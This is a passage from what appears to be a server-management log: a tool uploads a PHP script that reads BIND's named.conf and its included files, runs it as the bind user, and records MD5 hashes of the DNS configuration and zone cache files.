			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:30:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp379510; rm /tmp/pkp379510'

2026-01-03 19:30:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:31:10: Establishing a connection
2026-01-03 19:31:10: 

PUT: /tmp/pkp592924

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:31:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp592924; rm /tmp/pkp592924'

2026-01-03 19:31:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
